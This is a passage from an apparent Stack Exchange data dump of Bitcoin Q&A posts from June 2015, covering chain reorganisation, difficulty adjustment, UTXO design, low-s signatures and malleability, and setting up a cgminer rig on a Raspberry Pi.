CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38232" PostTypeId="2" ParentId="38230" CreationDate="2015-06-23T23:39:43.650" Score="3" Body="&lt;p&gt;Most if not all constants like that are not described, documented or otherwise discussed. For the most part the Bitcoin Core code is the reference which everything else follows, rather than the code trying to conform to any sort of standard. If it were hinged on a particular piece of documentation the network would need to be hard forked every time there was a new behavior found that didn't meet the specification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;201 operations is indeed the limit, and there is also a hard limit on the number of signature verifications that can occur in a block as well. Of all things in Bitcoin the script engine is probably the least well documented of all and has a number of oddities, partly due to its late inclusion.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is when the client tries to verify the data for the next transaction when there is a problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can make all sorts of completely invalid output scripts, because as you have found, there's no validity checks on them until they are spent. It is up to the author of non standard scripts to understand the system and not render their coins un-spendable. If you don't understand it, try these things out on testnet3 before you lose real money to them. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-23T23:39:43.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38234" PostTypeId="1" AcceptedAnswerId="38235" CreationDate="2015-06-24T01:39:54.630" Score="5" ViewCount="940" Body="&lt;p&gt;Currently the blockchain is at 36 GB, but with txindex turn on, how big is it? And how much disk space should I get to run a Bitcoin Core node with txindex on for say a year?&lt;/p&gt;&#xA;" OwnerUserId="26671" LastEditorUserId="26671" LastEditDate="2015-06-24T02:33:01.700" LastActivityDate="2015-06-24T06:17:28.853" Title="How much disk space do I need to run Bitcoin Core with txindex on?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38235" PostTypeId="2" ParentId="38234" CreationDate="2015-06-24T06:17:28.853" Score="3" Body="&lt;p&gt;Currently 48GB. Its hard to say how much the chain will grow in the future, but the 1MB block size limit caps the growth of the chain itself to 50GB per year. Building services that rely on a fully indexed block chain is probably quite inadvisable, you should aim to construct systems that don't require it. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-24T06:17:28.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38237" PostTypeId="1" AcceptedAnswerId="38243" CreationDate="2015-06-24T07:48:25.347" Score="3" ViewCount="195" Body="&lt;p&gt;I tried answering a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/38202/5406&quot;&gt;question about a majority-attacker's power to change the blockchain&lt;/a&gt; yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one thing I haven't been able to get a clear picture on, yet:&lt;br&gt;&#xA;When a previously unknown chain fork of at least 7 blocks length is published, how does Bitcoin Core react?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L1230&quot; rel=&quot;nofollow noreferrer&quot;&gt;main.h: CheckForkWarningConditions&lt;/a&gt; appears to emit a warning stating &quot;Chain state database corruption likely&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would Bitcoin Core accept the chain fork if it had the most work? How prominent is the warning to the user? Does Bitcoin Core need manual intervention to decide which fork to accept?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-07-22T22:12:21.230" Title="When an attacker publishes a longer chain, does Bitcoin Core emit a warning?" Tags="|bitcoin-core-development|majority-attack|chain-reorganization|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38238" PostTypeId="1" AcceptedAnswerId="38241" CreationDate="2015-06-24T15:08:30.077" Score="3" ViewCount="155" Body="&lt;p&gt;I know that the Bitcoin difficulty is recomputed every 2016 blocks (about two weeks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But who is responsible for this job and how is the new value announced to all miners. Does every miners do the computation or is there a specific entity of the network do it?&lt;/p&gt;&#xA;" OwnerUserId="26904" LastEditorUserId="5406" LastEditDate="2015-06-24T16:13:40.927" LastActivityDate="2015-06-24T16:13:40.927" Title="Who recomputes and announces the difficulty in Bitcoin?" Tags="|difficulty|hashpower|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38241" PostTypeId="2" ParentId="38238" CreationDate="2015-06-24T15:45:07.243" Score="5" Body="&lt;p&gt;All nodes and all clients have this logic hardcoded into them. So in that sense, everybody is responsible for understanding that every 2016 blocks the difficulty changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calculation that is hardcoded into each client is described here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F&quot;&gt;https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not a piece of information that is announced or broadcast. Since each node knows about every block that appears in the network, it can calculate on its own the difficulty, without the need of a third-party.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-06-24T15:45:07.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38243" PostTypeId="2" ParentId="38237" CreationDate="2015-06-24T17:19:22.523" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When a previously unknown chain fork of at least 7 blocks length is published, how does Bitcoin Core react?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It reorganizes to that chain, any transactions that were lost are returned to the nodes mempool. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would Bitcoin Core accept the chain fork if it had the most work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any valid chain with the most work will be reorganised to. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How prominent is the warning to the user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That warning isn't shown to a user in a reorganisation. Users are shown a warning when there is a significantly higher chain than them with valid proof of work but invalid contents, or alternatively when a soft fork takes the block version number higher than their client is aware of. When a warning is shown to a uiser through the alert system, it is either in the &lt;code&gt;alerts&lt;/code&gt; field of the RPC output or in a small yellow bar in the GUI client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eof8u.png&quot; alt=&quot;small yellow bar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does Bitcoin Core need manual intervention to decide which fork to accept?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code has the rules, if users made their own decisions about what constituted &quot;valid&quot; the network would fragment. There is no concept of an &quot;evil&quot; chain or an &quot;attacking&quot; chain, only the best chain.  &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-24T17:24:39.680" LastActivityDate="2015-06-24T17:24:39.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38244" PostTypeId="1" CreationDate="2015-06-24T19:30:10.600" Score="1" ViewCount="295" Body="&lt;p&gt;I have been able to transfer my bitcoin to electrum but am facing hard time to pay it or send my coins. A form appear and I fill out and there is only two option to choose to click create unsigned transaction and clear. I click on create unsigned transaction and there is no way I can send or pay my bitcoin to my counterpart. Please, I really need your help in this &lt;/p&gt;&#xA;" OwnerUserId="26722" LastActivityDate="2015-06-24T19:30:10.600" Title="how do I send my imported wallet on electrum" Tags="|bitcoind|bitcoin-core|multibit|electrum|" AnswerCount="0" CommentCount="3" ClosedDate="2020-09-04T18:53:20.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="38245" PostTypeId="1" AcceptedAnswerId="38247" CreationDate="2015-06-24T20:45:50.703" Score="2" ViewCount="432" Body="&lt;p&gt;Some people say that mining pool are going to violate the distributed principle of Bitcoin and make it more centralize. So why totally distributed pools such as P2Pool have not attract more users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about the important factor of choosing a pool in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51261.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1993/how-to-choose-the-most-profitable-pool&quot;&gt;here&lt;/a&gt;. As I know, P2Pool have many important factor including &quot;not having pool fee&quot;, &quot;sharing transaction fees&quot;, &quot;being hopping proof (see &lt;a href=&quot;http://arxiv.org/abs/1112.4980&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&quot;, and more importantly conforming the distributed spirit of Bitcoin. So why it has much less computation power (and users) rather than other pools such as AntPool and BW.COM?? Is there something else I didn't considered? &lt;/p&gt;&#xA;" OwnerUserId="26904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-06-24T21:58:16.730" Title="Why P2Pool fails to attract more users and other pools surpassed it?" Tags="|mining-pools|transaction-fees|p2pool|pool-hopping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38246" PostTypeId="1" AcceptedAnswerId="38249" CreationDate="2015-06-24T21:44:01.970" Score="7" ViewCount="943" Body="&lt;p&gt;Imagine Alice owns 10 BTC and wants to send 1 BTC to bob, with a 1 BTC miners fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the blockchain, the transaction is recorded as &quot;Alice spent 10 bitcoins, 1 goes to Bob, 1 goes to the miner, and 8 goes to Alice&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That seems rather unintuitive. Why not just record the payment and miners fee explicitly?&lt;/p&gt;&#xA;" OwnerUserId="18985" LastEditorUserId="5406" LastEditDate="2015-06-25T07:05:44.400" LastActivityDate="2015-06-25T20:16:14.833" Title="Why must UTXO be completely consumed?" Tags="|protocol|utxo|" AnswerCount="2" CommentCount="0" ClosedDate="2017-04-22T13:04:43.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="38247" PostTypeId="2" ParentId="38245" CreationDate="2015-06-24T21:58:16.730" Score="4" Body="&lt;p&gt;Many of these are irrational, but this is the summation of feelings from the P2Pool thread on Bitcointalk. P2Pool would be preferable for decentralization, but without a larger share of the global hashrate it seems doomed to obscurity. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;P2Pool has high latency, high variance payouts. You get paid as much on average as any other pool, but people generally appear to be uncomfortable about not getting a payout for many days. Centralized pools have more consistent payouts and lower variance. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2Pool requires more than a bare minimum of support hardware. Miners usually have their own computers on board but they do not have enough power to run a Bitcoin node and P2Pool client, so miners need an external computer to run this software on. Regular pools are more convenient and do not require additional hardware. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2Pool is actively hampered by bitcoin mining hardware that throw away valid blocks. The high announce rate of new work (30 seconds) means that a lot of common configurations throw away valid blocks that just happen to be stale P2Pool share chain blocks, effectively performing a block withholding attack against the network and lowering its productivity. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;P2Pool is perceived to have lower luck. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-24T21:58:16.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38248" PostTypeId="2" ParentId="38246" CreationDate="2015-06-24T22:00:40.693" Score="3" Body="&lt;p&gt;Transaction outputs only have two states, spent and unspent, so spending part of one is not possible without the creation of another. With a boolean spent/unspent there is no state to have to store and recall, which allows for simpler states in wallets and makes scaling away from the block chain significantly easier. Imagine if we had a transaction spending a decrementing amount in an output, what's to stop that transaction just being repeated and debiting the amount again? Having atomic outputs means you don't need to worry about things like serial numbers, which alternate systems like Ethereum and NXT do, due to their lack of inherent replay protection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's additionally no purpose in stating the fee if it can be inferred, and doing so saves space in the transaction. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-25T20:16:14.833" LastActivityDate="2015-06-25T20:16:14.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38249" PostTypeId="2" ParentId="38246" CreationDate="2015-06-25T00:48:51.810" Score="6" Body="&lt;p&gt;I've looked into this before, and I've never been able to find an explicit rationale from Satoshi, but there are a couple of possible reasons.&lt;/p&gt;&#xA;&lt;h3&gt;For: Simplifies SPV verification&lt;/h3&gt;&#xA;&lt;p&gt;Imagine that rather than using the spent/unspent model, you track the balance of each address. You get a zero-confirmation transaction that pays to you from an address.&lt;/p&gt;&#xA;&lt;p&gt;Now, to figure out what the balance of this address is, you need to get all of the deposits and withdrawals from it. If you miss one, you calculate the wrong balance.&lt;/p&gt;&#xA;&lt;p&gt;You could fix that by forcing each transaction from an address to reference the last transaction by hash, but that eliminates an important property of Bitcoin - multiple deposits and withdrawals to and from the same address can be processed at the same time, without coordination between them.&lt;/p&gt;&#xA;&lt;h3&gt;For: Improves transaction privacy in theory&lt;/h3&gt;&#xA;&lt;p&gt;The change output (which you referenced as '8 BTC goes to Alice') is sent to an entirely new address, and in theory it is not possible to figure out which output is the change output. In practice, the real output is usually a nice round number, and the change output is something like 0.00019841.&lt;/p&gt;&#xA;&lt;h3&gt;Against: Makes increasing the fee really complicated&lt;/h3&gt;&#xA;&lt;p&gt;If you've used Bitcoin for long enough, you've probably run into a situation where someone sent you some Bitcoins, but didn't attach a fee.&lt;/p&gt;&#xA;&lt;p&gt;If the change output were explicitly marked, the sender could just resend the transaction with a slightly smaller change output, and a slightly larger fee. Miners would know that they could safely accept the new transaction into their memory pool without helping anyone commit fraud. Then, we wouldn't need stuff like replace-by-fee or child-pays-for-parent.&lt;/p&gt;&#xA;&lt;h3&gt;Against: Makes the UTXO set much larger&lt;/h3&gt;&#xA;&lt;p&gt;If you have 50 outputs that make up your money, that means that you're taking up 50 times more space than you would if you had a single balance.&lt;/p&gt;&#xA;&lt;p&gt;TL;DR: It could have been done differently, and there are some reasonably compelling arguments, but it's impossible to change now.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-06-25T00:48:51.810" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38250" PostTypeId="2" ParentId="38225" CreationDate="2015-06-25T01:00:58.813" Score="2" Body="&lt;p&gt;I have 2 u3 antminers running on a raspberry pi b+ &#xA;I could not get my u3 any faster until i used minera software,set to cgminer (offical)&#xA;with command: &lt;code&gt;--au3-volt 830  --au3-freq 250.0&lt;/code&gt;    In the settings menu&#xA; it will run at 62-63 GH/s.&#xA;you can download it hear  &lt;a href=&quot;http://getminera.com/&quot; rel=&quot;nofollow&quot;&gt;http://getminera.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27074" LastEditorUserId="120" LastEditDate="2015-06-25T08:56:03.703" LastActivityDate="2015-06-25T08:56:03.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38251" PostTypeId="1" CreationDate="2015-06-25T01:03:08.810" Score="1" ViewCount="1336" Body="&lt;p&gt;I think to setup an ASIC Ant Miner in my university apartment.&#xA;I am new to Bitcoin mining and since the university network does block any Bitcoin related connections I was thinking to use my smartphone 3G internet for this purpose. &#xA; But now I wonder what bandwidth speed will I need to maintain 24/7 mining process without any bandwidth speed issues. &lt;/p&gt;&#xA;" OwnerUserId="27075" LastEditorUserId="5406" LastEditDate="2016-04-04T12:11:16.240" LastActivityDate="2016-04-04T12:11:16.240" Title="Bandwidth speed for Bitcoin mining?" Tags="|mining-setup|bandwidth|" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-27T10:45:21.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="38252" PostTypeId="1" AcceptedAnswerId="38253" CreationDate="2015-06-25T01:56:12.413" Score="5" ViewCount="926" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoinlib&lt;/a&gt; refers to the requirement that if &lt;code&gt;s &amp;gt; ORDER / 2&lt;/code&gt;, then &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/81ca8a3b8457e173c69c181afc4803f337d16fc3/bitcoin/core/script.py#L875&quot; rel=&quot;nofollow noreferrer&quot;&gt;the complement of &lt;code&gt;s&lt;/code&gt; should be used instead since it's one byte shorter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sounds like it's referring to the inverse or negative &lt;code&gt;s&lt;/code&gt; value, but I also know complement can be a computer science term. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant code can be found &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/2b0c91a6e25cd8bd6dfa5b0a33e6f02807e554f3/bitcoin/core/key.py#L126-L156&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (perhaps someone adept with the Bitcoin Core code can chime in on what the code is doing), so, &lt;strong&gt;what is the complement of s referring to&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="48543" LastEditDate="2018-08-23T07:17:43.983" LastActivityDate="2018-08-23T07:17:43.983" Title="The complement of s (when s &lt; curve order / 2)" Tags="|signature|ecdsa|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38253" PostTypeId="2" ParentId="38252" CreationDate="2015-06-25T02:38:06.463" Score="5" Body="&lt;p&gt;In ECDSA &lt;code&gt;s&lt;/code&gt; can be on either side of the curve and the signature will still be valid. The term &quot;low &lt;code&gt;s&lt;/code&gt;&quot; is referring to the value literally being being below the curve order (&lt;a href=&quot;https://www.wolframalpha.com/input/?i=0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0&quot; rel=&quot;noreferrer&quot;&gt;0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0&lt;/a&gt;). The requirement of low-&lt;code&gt;s&lt;/code&gt; is arbitrary (high &lt;code&gt;s&lt;/code&gt; would have worked just fine as well), and is one of the new &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0062.mediawiki#Low_S_values_in_signatures&quot; rel=&quot;noreferrer&quot;&gt;BIP62&lt;/a&gt; validity rules that are intended to combat transaction malleability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absent this rule, any person is able to take a Bitcoin transaction, flip &lt;code&gt;s&lt;/code&gt; in any of its signatures, and push the transaction out again with a different TXID. Being able to do this only changes the hash of the transaction, and does not alter its validity in any way. Being able to mutate transactions breaks a number of potentially interesting transaction types in Bitcoin like payment channels, where chains of transactions will suddenly be invalidated by a parent being mutated and an alternate form included in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By forcing valid transactions to always have low &lt;code&gt;s&lt;/code&gt; this ability is removed, though a person with the private key for a transaction is still able to mutate their own transactions by resigning them with a new nonce. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-25T02:45:49.957" LastActivityDate="2015-06-25T02:45:49.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38254" PostTypeId="2" ParentId="38252" CreationDate="2015-06-25T02:42:36.023" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the complement of s referring to?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I haven't heard that term used like that before, but reading the code, it appears to compare &lt;code&gt;s&lt;/code&gt; to see if it's more than &lt;code&gt;n/2&lt;/code&gt; rounded down (where &lt;code&gt;n&lt;/code&gt; is the order of the curve, &lt;code&gt;FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364141&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is, it calculates &lt;code&gt;n - s&lt;/code&gt; and uses that as &lt;code&gt;s&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-06-25T02:42:36.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38256" PostTypeId="2" ParentId="38225" CreationDate="2015-06-25T05:01:49.780" Score="7" Body="&lt;p&gt;I set up my rasp pi b+ and U3 mining rig using the &lt;a href=&quot;https://www.raspberrypi.org/forums/viewtopic.php?t=103046&amp;amp;p=727350&quot; rel=&quot;noreferrer&quot;&gt;instructions in this forum post&lt;/a&gt;, with screen and cgminer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command relevant to over clocking the raspi that I used is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./cgminer --bmsc-options 115200:0.57 -o POOL -u USERNAME -p PASSWORD --bmsc-voltage 0800 --bmsc-freq 1286&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those last two options (bmsc-voltage and bmsc-freq) are what over clocked the rasp pi.  But I think I had to compile cgminer and configure it to include bmsc.  Mine typically runs with a hash rate in the high 50's or low 60's, but maybe not quite 62-63 GH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I did try to push the U3 voltage and frequency higher by playing with the settings as &lt;a href=&quot;https://www.bitmaintech.com/files/download/AntMiner-U3%20user%20guide.pdf&quot; rel=&quot;noreferrer&quot;&gt;detailed in the U3 manual&lt;/a&gt;.  However, I could never get the U3 to run stably at settings any higher than what I gave above.  I'm not sure if it makes a difference, but I'm actually running two U3's on the one rasp pi and cgminer instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: In the interest of providing a complete answer in one place, here's the full text from the linked forum post:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Run a fresh install of Raspbian using NOOBS, after the install type &lt;code&gt;ifconfig&lt;/code&gt; and make a note of the IP address, so that you can remotely&#xA;  SSH into your Pi. Login via PuTTY with the default username/password,&#xA;  then raspi-config if you would like to change the hostname, default&#xA;  password and so on.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now update the Pi: &#xA;  &lt;code&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Install dependencies: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo apt-get install libusb-1.0-0-dev libusb-1.0-0 libcurl4-openssl-dev libncurses5-dev libudev-dev screen libtool automake pkg-config libjansson-dev screen&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Clone cgminer from here: &#xA;  &lt;code&gt;git clone https://github.com/bitmaintech/cgminer&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Install, configure and also enable bmsc options: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;cd cgminer&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo ./autogen.sh&lt;/code&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;export LIBCURL_CFLAGS=’-I/usr/include/curl’&lt;/code&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo ./configure --enable-bmsc&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo make&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Test cgminer is working correctly by running the following (input your&#xA;  own pool, username and password): &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo ./cgminer --bmsc-options 115200:0.57 -o POOL -u USERNAME -p PASSWORD --bmsc-voltage 0800 --bmsc-freq 1286&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Type Q to exit cgminer...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now, add cgminer to start automatically when the Pi is powered on and&#xA;  create a screen session:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;sudo nano /etc/rc.local&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Remember, Ctrl-X to exit, then type Y and press Enter to save changes. Add this just above&#xA;  exit 0, again enter your own pool, username and password: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;cd /home/pi/cgminer&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;screen -dmS cgminer ./cgminer --bmsc-options 115200:0.57 -o POOL -u USERNAME -p PASSWORD --bmsc-voltage 0800 --bmsc-freq 1286&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="26793" LastEditorUserId="2306" LastEditDate="2015-11-05T06:03:01.620" LastActivityDate="2015-11-05T06:03:01.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38257" PostTypeId="1" AcceptedAnswerId="38274" CreationDate="2015-06-25T06:26:16.110" Score="4" ViewCount="360" Body="&lt;p&gt;which types of transactions does bitcoind v0.10 perform checksig validation on?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;blockchain transactions belonging to a wallet with known private key&lt;/li&gt;&#xA;&lt;li&gt;blockchain transactions belonging to watch-only-wallet addresses&lt;/li&gt;&#xA;&lt;li&gt;all transactions in the blockchain&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;my guesses for answers would be 1 - yes, 2 - yes, 3 - no. however i would like confirmation of this.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-26T03:00:04.927" LastActivityDate="2015-06-26T03:00:04.927" Title="which transactions does bitcoind validate?" Tags="|bitcoind|validation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38258" PostTypeId="5" CreationDate="2015-06-25T08:08:28.030" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-25T08:08:28.030" LastActivityDate="2015-06-25T08:08:28.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38259" PostTypeId="4" CreationDate="2015-06-25T08:08:28.030" Score="0" Body="Collects questions about the rules, precision, and utility of the timestamp in block headers." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-25T08:08:28.030" LastActivityDate="2015-06-25T08:08:28.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38260" PostTypeId="2" ParentId="12564" CreationDate="2015-06-25T08:20:07.703" Score="2" Body="&lt;p&gt;The timestamp is part of the input for the mining process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the miner can set an arbitrary timestamp, but must decide &lt;em&gt;before hashing&lt;/em&gt; what timestamp he wants a potential block to have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;He cannot change the timestamp after finding a block&lt;/strong&gt;, because the timestamp is part of the block, and a different one wouldn't be valid. To change the timestamp, he would have to start over mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-25T08:32:23.680" LastActivityDate="2015-06-25T08:32:23.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38261" PostTypeId="2" ParentId="12564" CreationDate="2015-06-25T08:21:51.787" Score="7" Body="&lt;p&gt;Bitcoin miners can construct the block header, including the timestamp, however they want, as long as it adheres to the consensus rules. The shift you describe is well inside the 2 hour timerange, so it can be done when setting out to mine the block. It cannot however be done once the block is mined as the timestamp is part of the header, which is hashed into the PoW, hence changing the timestamp would invalidate the proof of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most miners however prefer to increase/decrease the timestamp in order to have a simple way to alter the header, thus more hashes to compute. This is sometimes called time-rolling and is performed on top of the nonce-rolling.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2015-06-25T08:52:46.013" LastActivityDate="2015-06-25T08:52:46.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38262" PostTypeId="2" ParentId="36535" CreationDate="2015-06-25T10:13:44.310" Score="2" Body="&lt;p&gt;Block duration is only controlled by difficulty (although indirectly) and network hashrate, so you'd want to increase difficulty when there are very few transactions in the last X blocks, and vice versa, decrease difficulty when blocks become too full, but also decrease difficulty when there is a low hashrate, and increase difficulty when there is a high hashrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time, you'd need to incentivize mining, so you might want to have a reward relative to target time, instead of constant per block, as otherwise miners could spam the network in order to increase revenue.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A draft&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let's say, we are aiming to adjust from looking at the last 100 blocks for blocks that are 50% full.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;findNewBlockTime():&#xA;  newTimeTarget = (avBlockInterval100)*(0.5/averageFullness); //shorter interval with many transactions, longer with less&#xA;&#xA;setReward():&#xA;  newReward = newTimeTarget*totalIntervalReward/rewardInterval; //rewardInterval could be four years like Bitcoin, or some other interval, with four years totalIntervalReward would be 11.5M coins for first interval&#xA;&#xA;calculateDifficulty():&#xA;  newDifficulty = 